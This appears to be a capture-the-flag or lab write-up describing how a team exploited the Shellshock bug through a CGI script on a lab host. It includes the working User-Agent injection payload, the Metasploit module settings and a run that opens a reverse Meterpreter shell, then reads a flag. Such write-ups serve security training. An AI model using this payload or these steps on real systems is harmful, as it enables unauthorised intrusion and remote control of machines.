(LOCAL) 10.20.160.102: GGEZ
Team Numero Uno

Hash: 13d948e7023f2cb3f79b8852bf692bc8
Attack Path: I saw on the Nessus scan that machine 10.20.160.102 was vulnerable to shellshock by way of /cgi-bin/test-cgi. I found the proper metasploit module and set the path accordingly and was granted access to the machine. I found the local file in S. Parker's desktop.

```
Nessus was able to exploit the issue using the following request :

GET /cgi-bin/test-cgi HTTP/1.1
Host: 10.20.160.102
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: en
Connection: Keep-Alive
User-Agent: () { ignored; }; echo Content-Type: text/plain ; echo ; echo ; /usr/bin/id;
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
```

```
msf auxiliary(scanner/http/apache_mod_cgi_bash_env) > options

Module options (auxiliary/scanner/http/apache_mod_cgi_bash_env):

   Name       Current Setting    Required  Description
   ----       ---------------    --------  -----------
   CMD        /usr/bin/id        yes       Command to run (absolute paths required)
   CVE        CVE-2014-6271      yes       CVE to check/exploit (Accepted: CVE-2014-6271, CVE-2014-6278)
   HEADER     User-Agent         yes       HTTP header to use
   METHOD     GET                yes       HTTP method to use
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.20.160.102      yes       The target address range or CIDR identifier
   RPORT      80                 yes       The target port (TCP)
   SSL        false              no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /cgi-bin/test-cgi  yes       Path to CGI script
   THREADS    1                  yes       The number of concurrent threads
   VHOST                         no        HTTP server virtual host
```

```
msf exploit(multi/http/apache_mod_cgi_bash_env_exec) > run

[*] Started reverse TCP handler on 10.20.150.101:4444
[*] Command Stager progress - 100.46% done (1097/1092 bytes)
[*] Sending stage (861480 bytes) to 10.20.160.102
[*] Meterpreter session 18 opened (10.20.150.101:4444 -> 10.20.160.102:51807) at 2019-07-15 22:18:55 -0400
```

```
cat local.txt
13d948e7023f2cb3f79b8852bf692bc8
```